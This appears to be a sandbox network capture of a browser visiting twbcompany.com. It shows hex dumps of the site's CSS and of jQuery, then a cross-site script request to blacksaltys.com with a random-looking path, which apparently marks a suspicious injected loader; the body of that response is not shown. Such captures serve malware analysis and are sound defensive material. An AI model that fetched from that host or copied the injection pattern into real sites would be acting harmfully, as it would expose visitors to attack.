License v2 or laterLicense URI: http://www.gnu.org/l
2024-10-07 12:10:11 UTC	6810	IN	Data Raw: 25 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 20 75 6c 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 20 6c 69 20 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 20 61 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 20 75 6c 20 75 6c 20 7b 0a 09 62 6f 78 2d 73 68 61 64 Data Ascii: %;}.main-navigation ul {display: none;list-style: none;margin: 0;padding-left: 0;}.main-navigation li {float: left;position: relative;}.main-navigation a {display: block;text-decoration: none;}.main-navigation ul ul {box-shad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49723	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	599	OUT	GET /2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:11 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 21 Feb 2024 15:05:14 GMT Accept-Ranges: bytes Content-Length: 84022 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:11 UTC	7937	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 2f 2a 20 46 6f 6e 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 65 6c 6c 6f 2f 63 73 73 2f 66 6f 6e 74 65 6c 6c 6f 2e 63 73 73 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 2c 34 30 30 69 74 61 6c 69 63 2c 36 30 30 2c 37 30 30 2c 36 30 30 69 74 61 6c 69 63 7c 4d 6f 6e 74 73 65 72 72 61 74 3a 34 30 30 2c 37 30 30 22 29 3b 0a 2f 2a 20 56 65 6e 64 6f 72 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2f 2a 20 42 69 74 74 65 72 73 20 30 2e 31 30 2e 30 0a 20 2a 20 68 Data Ascii: @charset "UTF-8";/* Fonts********/@import url(../fonts/fontello/css/fontello.css);@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,300,400italic,600,700,600italic\|Montserrat:400,700");/ Vendors***********// Bitters 0.10.0 * h
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 61 70 70 2f 73 61 73 73 2f 76 65 6e 64 6f 72 73 2f 62 61 73 65 2f 5f 62 75 74 74 6f 6e 73 2e 73 63 73 73 20 2a 2f 0a 62 75 74 74 6f 6e 2c 0a 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2d 6d 6f 7a 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2d 6d 73 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2d 6f 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 76 65 72 74 69 63 61 Data Ascii: app/sass/vendors/base/_buttons.scss */button,input[type="submit"] { -webkit-appearance: none; -moz-appearance: none; -ms-appearance: none; -o-appearance: none; appearance: none; border: none; cursor: pointer; user-select: none; vertica
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 20 62 6f 74 74 6f 6d 20 2c 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 38 29 20 30 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 36 30 25 2c 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 34 29 20 31 30 30 25 29 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 74 6f 70 2c 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 38 29 20 30 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 36 30 25 2c 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 34 29 20 31 30 Data Ascii: bottom: 0; left: 0; background-image: -webkit-linear-gradient( bottom , rgba(0, 0, 0, 0.8) 0, transparent 60%, rgba(0, 0, 0, 0.4) 100%); background-image: linear-gradient(to top, rgba(0, 0, 0, 0.8) 0, transparent 60%, rgba(0, 0, 0, 0.4) 10
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 7d 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 30 72 65 6d 29 20 7b 0a 20 20 20 20 20 20 2f 2a 20 6c 69 6e 65 20 31 30 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 67 72 69 64 73 2e 73 63 73 73 20 2a 2f 0a 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 37 35 70 78 3b 20 7d 20 7d 0a 20 20 20 20 2f 2a 20 6c 69 6e 65 20 32 32 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 Data Ascii: ; width: 100%; overflow: hidden; color: #fff; } @media screen and (min-width: 50rem) { /* line 10, ../../app/sass/partials/_grids.scss / .column-container .image { height: 175px; } } / line 22, ../../app/sass/part
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 30 2e 34 73 3b 0a 20 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 30 2e 34 73 3b 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 30 2e 34 73 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 35 29 3b 20 7d 0a 20 20 2f 2a 20 6c 69 6e 65 20 31 38 30 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 67 72 69 64 73 2e 73 63 73 73 20 2a Data Ascii: bottom: 0; left: 0; -webkit-transition: background-color 0.4s; -moz-transition: background-color 0.4s; transition: background-color 0.4s; background-color: rgba(0, 0, 0, 0.5); } /* line 180, ../../app/sass/partials/_grids.scss *
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 74 72 61 6e 73 6c 61 74 65 59 28 2d 32 35 30 25 29 3b 0a 20 20 20 20 20 20 20 20 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 32 35 30 25 29 3b 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 32 35 30 25 29 3b 20 7d 0a 20 20 20 20 20 20 2f 2a 20 6c 69 6e 65 20 37 32 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 6e 61 76 69 67 61 74 69 6f 6e 2e 73 63 73 73 20 2a 2f 0a 20 20 20 20 20 20 23 6d 6f 62 69 6c 65 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6d 6f 62 69 6c 65 2d 6e 61 76 2d 74 72 69 67 67 65 72 20 2e 6d 65 6e 75 2d 69 63 6f 6e 3a 61 66 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: translateY(-250%); -o-transform: translateY(-250%); transform: translateY(-250%); } /* line 72, ../../app/sass/partials/_navigation.scss */ #mobile-nav-container .mobile-nav-trigger .menu-icon:after { -webkit-transform:
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 20 20 20 20 2f 2a 20 6c 69 6e 65 20 32 34 30 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 6e 61 76 69 67 61 74 69 6f 6e 2e 73 63 73 73 20 2a 2f 0a 20 20 20 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 75 6c 20 6c 69 3a 68 6f 76 65 72 20 2e 64 72 6f 70 64 6f 77 6e 2c 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 75 6c 20 6c 69 3a 66 6f 63 75 73 20 2e 64 72 6f 70 64 6f 77 6e 20 7b 0a 20 20 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 76 69 73 69 62 6c 65 3b 0a 20 20 Data Ascii: /* line 240, ../../app/sass/partials/_navigation.scss */ #primary-nav-container #primary-nav ul li:hover .dropdown, #primary-nav-container #primary-nav ul li:focus .dropdown { max-height: none; opacity: 1; visibility: visible;
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 76 69 73 69 62 69 6c 69 74 79 20 30 73 20 6c 69 6e 65 61 72 20 30 2e 32 73 2c 20 6f 70 61 63 69 74 79 20 30 2e 32 73 20 6c 69 6e 65 61 72 20 30 73 3b 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 76 69 73 69 62 69 6c 69 74 79 20 30 73 20 6c 69 6e 65 61 72 20 30 2e 32 73 2c 20 6f 70 61 63 69 74 79 20 30 2e 32 73 20 6c 69 6e 65 61 72 20 30 73 3b 20 7d 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 39 2e 33 37 35 72 65 6d 29 20 7b 0a 20 20 20 20 20 20 2f 2a 20 6c 69 6e 65 20 34 35 35 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 6e 61 76 69 67 61 74 69 6f 6e 2e 73 63 73 73 20 2a 2f 0a 20 20 20 20 20 Data Ascii: -moz-transition: visibility 0s linear 0.2s, opacity 0.2s linear 0s; transition: visibility 0s linear 0.2s, opacity 0.2s linear 0s; } @media screen and (min-width: 69.375rem) { /* line 455, ../../app/sass/partials/_navigation.scss */
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 20 30 20 30 2e 37 35 65 6d 20 31 2e 37 35 65 6d 20 30 2e 37 35 65 6d 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 7d 0a 20 20 2f 2a 20 6c 69 6e 65 20 32 33 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 72 65 66 69 6c 6c 73 2e 73 63 73 73 20 2a 2f 0a 20 20 2e 63 61 72 64 20 2e 63 61 72 64 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 0a 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 20 7d 0a 20 20 2f 2a 20 6c 69 6e 65 20 32 39 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 72 65 66 69 6c 6c 73 2e 73 63 73 73 20 2a 2f 0a 20 20 2e 63 61 72 64 20 Data Ascii: 0 0.75em 1.75em 0.75em; position: relative; } /* line 23, ../../app/sass/partials/_refills.scss / .card .card-image { overflow: hidden; height: 200px; max-height: 200px; } / line 29, ../../app/sass/partials/_refills.scss */ .card
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 6c 6f 63 61 74 69 6f 6e 73 2e 73 63 73 73 20 2a 2f 0a 20 20 2e 69 6e 66 6f 5f 63 6f 6e 74 65 6e 74 20 73 70 61 6e 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2f 2a 20 6c 69 6e 65 20 32 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 66 6f 72 6d 73 2e 73 63 73 73 20 2a 2f 0a 2e 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 65 6d 3b 20 7d 0a 2f 2a 20 6c 69 6e 65 20 35 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 Data Ascii: pp/sass/partials/_locations.scss / .info_content span { font-size: 16px; font-size: 1rem; font-weight: 400; }/ line 2, ../../app/sass/partials/_forms.scss /.form input[type="text"] { margin-bottom: 2em; }/ line 5, ../../app/sass/pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49724	151.101.2.137	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	548	OUT	GET /jquery-1.11.3.min.js?ver=1.11.3 HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:11 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 95957 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-176d5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 07 Oct 2024 12:10:11 GMT Age: 2266873 X-Served-By: cache-lga21975-LGA, cache-nyc-kteb1890021-NYC X-Cache: HIT, HIT X-Cache-Hits: 3785, 1 X-Timer: S1728303012.611695,VS0,VE1 Vary: Accept-Encoding
2024-10-07 12:10:11 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 31 31 2e 33 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 35 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e Data Ascii: /! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a win
2024-10-07 12:10:11 UTC	16384	IN	Data Raw: 2e 69 6e 6e 65 72 54 65 78 74 7c 7c 65 28 62 29 29 2e 69 6e 64 65 78 4f 66 28 61 29 3e 2d 31 7d 7d 29 2c 6c 61 6e 67 3a 69 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 57 2e 74 65 73 74 28 61 7c 7c 22 22 29 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 6c 61 6e 67 3a 20 22 2b 61 29 2c 61 3d 61 2e 72 65 70 6c 61 63 65 28 63 61 2c 64 61 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3b 64 6f 20 69 66 28 63 3d 70 3f 62 2e 6c 61 6e 67 3a 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 78 6d 6c 3a 6c 61 6e 67 22 29 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 61 6e 67 22 29 29 72 65 74 75 72 6e 20 63 3d 63 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 63 Data Ascii: .innerText\|\|e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a\|\|"")\|\|ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")\|\|b.getAttribute("lang"))return c=c.toLowerCase(),c
2024-10-07 12:10:11 UTC	16384	IN	Data Raw: 63 6f 6e 63 61 74 28 6d 2e 6d 61 70 28 62 2c 6d 2e 63 61 6d 65 6c 43 61 73 65 29 29 3a 62 20 69 6e 20 64 3f 62 3d 5b 62 5d 3a 28 62 3d 6d 2e 63 61 6d 65 6c 43 61 73 65 28 62 29 2c 62 3d 62 20 69 6e 20 64 3f 5b 62 5d 3a 62 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 65 3d 62 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 65 2d 2d 29 64 65 6c 65 74 65 20 64 5b 62 5b 65 5d 5d 3b 69 66 28 63 3f 21 50 28 64 29 3a 21 6d 2e 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 28 64 29 29 72 65 74 75 72 6e 7d 28 63 7c 7c 28 64 65 6c 65 74 65 20 67 5b 68 5d 2e 64 61 74 61 2c 50 28 67 5b 68 5d 29 29 29 26 26 28 66 3f 6d 2e 63 6c 65 61 6e 44 61 74 61 28 5b 61 5d 2c 21 30 29 3a 6b 2e 64 65 6c 65 74 65 45 78 70 61 6e 64 6f 7c 7c 67 21 3d 67 2e 77 69 6e 64 6f 77 3f 64 65 6c 65 74 65 20 67 5b Data Ascii: concat(m.map(b,m.camelCase)):b in d?b=[b]:(b=m.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!P(d):!m.isEmptyObject(d))return}(c\|\|(delete g[h].data,P(g[h])))&&(f?m.cleanData([a],!0):k.deleteExpando\|\|g!=g.window?delete g[
2024-10-07 12:10:11 UTC	16384	IN	Data Raw: 65 5d 29 3b 65 2b 2b 29 21 62 7c 7c 6d 2e 6e 6f 64 65 4e 61 6d 65 28 64 2c 62 29 3f 66 2e 70 75 73 68 28 64 29 3a 6d 2e 6d 65 72 67 65 28 66 2c 75 61 28 64 2c 62 29 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 62 7c 7c 62 26 26 6d 2e 6e 6f 64 65 4e 61 6d 65 28 61 2c 62 29 3f 6d 2e 6d 65 72 67 65 28 5b 61 5d 2c 66 29 3a 66 7d 66 75 6e 63 74 69 6f 6e 20 76 61 28 61 29 7b 57 2e 74 65 73 74 28 61 2e 74 79 70 65 29 26 26 28 61 2e 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 3d 61 2e 63 68 65 63 6b 65 64 29 7d 66 75 6e 63 74 69 6f 6e 20 77 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 6d 2e 6e 6f 64 65 4e 61 6d 65 28 61 2c 22 74 61 62 6c 65 22 29 26 26 6d 2e 6e 6f 64 65 4e 61 6d 65 28 31 31 21 3d 3d 62 2e 6e 6f 64 65 54 79 70 65 3f 62 3a 62 2e 66 69 72 73 74 Data Ascii: e]);e++)!b\|\|m.nodeName(d,b)?f.push(d):m.merge(f,ua(d,b));return void 0===b\|\|b&&m.nodeName(a,b)?m.merge([a],f):f}function va(a){W.test(a.type)&&(a.defaultChecked=a.checked)}function wa(a,b){return m.nodeName(a,"table")&&m.nodeName(11!==b.nodeType?b:b.first
2024-10-07 12:10:11 UTC	16384	IN	Data Raw: 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5b 2b 2d 5d 29 3d 7c 29 28 22 2b 53 2b 22 29 28 5b 61 2d 7a 25 5d 2a 29 24 22 2c 22 69 22 29 2c 63 62 3d 2f 71 75 65 75 65 48 6f 6f 6b 73 24 2f 2c 64 62 3d 5b 69 62 5d 2c 65 62 3d 7b 22 2a 22 3a 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 74 68 69 73 2e 63 72 65 61 74 65 54 77 65 65 6e 28 61 2c 62 29 2c 64 3d 63 2e 63 75 72 28 29 2c 65 3d 62 62 2e 65 78 65 63 28 62 29 2c 66 3d 65 26 26 65 5b 33 5d 7c 7c 28 6d 2e 63 73 73 4e 75 6d 62 65 72 5b 61 5d 3f 22 22 3a 22 70 78 22 29 2c 67 3d 28 6d 2e 63 73 73 4e 75 6d 62 65 72 5b 61 5d 7c 7c 22 70 78 22 21 3d 3d 66 26 26 2b 64 29 26 26 62 62 2e 65 78 65 63 28 6d 2e 63 73 73 28 63 2e 65 6c 65 6d 2c 61 29 29 2c 68 3d 31 2c 69 3d 32 30 3b 69 66 Data Ascii: =new RegExp("^(?:([+-])=\|)("+S+")([a-z%])$","i"),cb=/queueHooks$/,db=[ib],eb={"":[function(a,b){var c=this.createTween(a,b),d=c.cur(),e=bb.exec(b),f=e&&e[3]\|\|(m.cssNumber[a]?"":"px"),g=(m.cssNumber[a]\|\|"px"!==f&&+d)&&bb.exec(m.css(c.elem,a)),h=1,i=20;if
2024-10-07 12:10:11 UTC	14037	IN	Data Raw: 20 22 2b 69 5b 30 5d 5d 29 7b 66 3d 67 3b 62 72 65 61 6b 7d 64 7c 7c 28 64 3d 67 29 7d 66 3d 66 7c 7c 64 7d 72 65 74 75 72 6e 20 66 3f 28 66 21 3d 3d 69 5b 30 5d 26 26 69 2e 75 6e 73 68 69 66 74 28 66 29 2c 63 5b 66 5d 29 3a 76 6f 69 64 20 30 7d 66 75 6e 63 74 69 6f 6e 20 50 62 28 61 2c 62 2c 63 2c 64 29 7b 76 61 72 20 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3d 7b 7d 2c 6b 3d 61 2e 64 61 74 61 54 79 70 65 73 2e 73 6c 69 63 65 28 29 3b 69 66 28 6b 5b 31 5d 29 66 6f 72 28 67 20 69 6e 20 61 2e 63 6f 6e 76 65 72 74 65 72 73 29 6a 5b 67 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 61 2e 63 6f 6e 76 65 72 74 65 72 73 5b 67 5d 3b 66 3d 6b 2e 73 68 69 66 74 28 29 3b 77 68 69 6c 65 28 66 29 69 66 28 61 2e 72 65 73 70 6f 6e 73 65 46 69 65 6c 64 73 5b 66 5d 26 26 28 63 Data Ascii: "+i[0]]){f=g;break}d\|\|(d=g)}f=f\|\|d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Pb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49725	77.232.36.155	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	560	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:11 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 12:10:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 227 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 12:10:11 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
